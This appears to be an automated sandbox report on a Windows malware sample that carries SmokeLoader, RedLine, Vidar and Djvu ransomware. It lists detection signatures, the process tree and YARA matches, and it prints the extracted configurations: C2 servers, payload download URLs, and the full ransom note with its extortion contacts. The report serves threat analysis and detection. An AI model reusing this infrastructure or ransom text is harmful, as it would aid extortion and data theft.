Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	736968
MD5:	4bb5c0ed18f4b7ae33ba272eae17abf2
SHA1:	e0e02b31d3ad2e965d223ebe3451bd9c9e0385fa
SHA256:	418d9b6e1fc560a80fd9f37e34bee51e79a371cfcc24eede84928b506cd918b6
Tags:	exe
Infos:

Detection

CryptOne, Djvu, RedLine, SmokeLoader, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected CryptOne packer

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Registers a DLL

PE file contains more sections than normal

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

file.exe (PID: 5540 cmdline: C:\Users\user\Desktop\file.exe MD5: 4BB5C0ED18F4B7AE33BA272EAE17ABF2)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

37F1.exe (PID: 1760 cmdline: C:\Users\user\AppData\Local\Temp\37F1.exe MD5: 20FC27E56AEB4D8031E8952F5C367565)

405E.exe (PID: 3244 cmdline: C:\Users\user\AppData\Local\Temp\405E.exe MD5: ABC4A016ED52C530C02FCFA8D5AC2506)

45DE.exe (PID: 5516 cmdline: C:\Users\user\AppData\Local\Temp\45DE.exe MD5: C5634D306EEA15EE3D6364A09276C1DD)

WerFault.exe (PID: 5348 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5516 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

49F6.exe (PID: 1324 cmdline: C:\Users\user\AppData\Local\Temp\49F6.exe MD5: 173E29DB800C6C004EAF258921B9C73B)

WerFault.exe (PID: 4600 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

regsvr32.exe (PID: 1276 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\509E.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 1332 cmdline: /s C:\Users\user\AppData\Local\Temp\509E.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

5487.exe (PID: 1272 cmdline: C:\Users\user\AppData\Local\Temp\5487.exe MD5: ADF28F31EED0074753479AC51AF789C9)

cmd.exe (PID: 5960 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\user\AppData\Local\Temp\5487.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 3432 cmdline: timeout /t 6 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

5999.exe (PID: 1244 cmdline: C:\Users\user\AppData\Local\Temp\5999.exe MD5: 4128ACBEDEE976974A7F0C08272C33BC)

5999.exe (PID: 4888 cmdline: C:\Users\user\AppData\Local\Temp\5999.exe MD5: 4128ACBEDEE976974A7F0C08272C33BC)

explorer.exe (PID: 5220 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

explorer.exe (PID: 3572 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

uucbfdt (PID: 5820 cmdline: C:\Users\user\AppData\Roaming\uucbfdt MD5: 4BB5C0ED18F4B7AE33BA272EAE17ABF2)

gecbfdt (PID: 1100 cmdline: C:\Users\user\AppData\Roaming\gecbfdt MD5: ABC4A016ED52C530C02FCFA8D5AC2506)

WerFault.exe (PID: 5544 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1100 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://uaery.top/dl/build2.exe", "http://fresherlights.com/files/1/build3.exe"], "C2 url": "http://fresherlights.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-dyi5UcwIT9\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@fishmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0597Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAl4vKVxPlvsnqzFmOtApr\\\\nPDoEZeIQxPLPwmXjNinTlraVIIr80Yx0cF+Uq24WBSBwVOmpVj\\/QxFE5d\\/JmMbH5\\\\nmZulvDo5gMb3LZo2TdKESrcW5rxaJhT43Ci3ZxI9xv3eHlVFDg++1kJVFlWQEqkK\\\\ndMgUflyDA8AUZPasbxao4WT6qaAQ3nhR0mmwSTaJ14dKHH5zFpIjzznofpoyVrv\\/\\\\n7YvHzq4vkGtylJaPNG9QGPnukRttjC1Xo\\/cT5UO7NMhpcYt14fjanIvb9Y0F6Ur0\\\\nMweM7exj7iPD70TSc5\\/itT9B+jKKTQH2+UbPKMo+cjuCgwu3E1Wvpx4cHoIIEzAA\\\\nmQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: RedLine

{"C2 url": "78.153.144.3:2510", "Bot Id": "slovarik1btc", "Authorization Header": "69236173f96390de00bb5a5120a1f3a0"}

Threatname: SmokeLoader

{"C2 list": ["http://hulimudulinu.net/", "http://stalnnuytyt.org/", "http://gulutina49org.org/", "http://furubujjul.net/", "http://starvestitibo.org/", "http://liubertiyyyul.net/", "http://bururutu44org.org/", "http://youyouumenia5.org/", "http://nvulukuluir.net/", "http://nuluitnulo.me/", "http://guluiiiimnstra.net/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001E.00000000.510855251.00000000008D8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4cba:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001E.00000003.505978851.0000000000710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.539352220.00000000008D8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4cba:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000000.426588359.00000000007D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000000.432265249.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.505257421.00000000007A8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4eed:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.473163211.00000000022D7000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4e9d:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.512998427.0000000000968000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1210:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000000.507812417.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A7 88 44 24 2B 88 44 24 2F B0 D7 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0000000F.00000000.430084061.00000000007D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 A7 88 44 24 2B 88 44 24 2F B0 D7 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000E.00000002.468874148.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x35e0a:$pat14: , CommandLine: 0x24cec:$v2_1: ListOfProcesses 0x231a2:$v4_3: base64str 0x23161:$v4_4: stringKey 0x231ac:$v4_5: BytesToStringConverted 0x23197:$v4_6: FromBase64 0x249a9:$v4_8: procName 0x21d6a:$v5_1: DownloadAndExecuteUpdate 0x21d92:$v5_2: ITaskProcessor 0x21d58:$v5_3: CommandLineUpdate 0x21d83:$v5_4: DownloadUpdate 0x21ccc:$v5_5: FileScanning 0x21f6a:$v5_7: RecordHeaderField 0x21e94:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.444525144.0000000000889000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4c62:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000000.508110815.00000000008D8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4cba:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000000.427534356.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000003.475515508.0000000000720000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000000.510353848.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000D.00000003.403897156.0000000000820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.466699994.00000000007D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000D.00000002.442880266.0000000000810000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000002.469202987.00000000008C9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4d53:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.540527249.0000000002E46000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11b8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000000.430570444.0000000000819000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4e61:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000000.434348709.00000000008C9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4d53:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000000.426731802.0000000000819000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4e61:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.544624082.0000000004A4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.466941491.0000000000819000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4e61:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
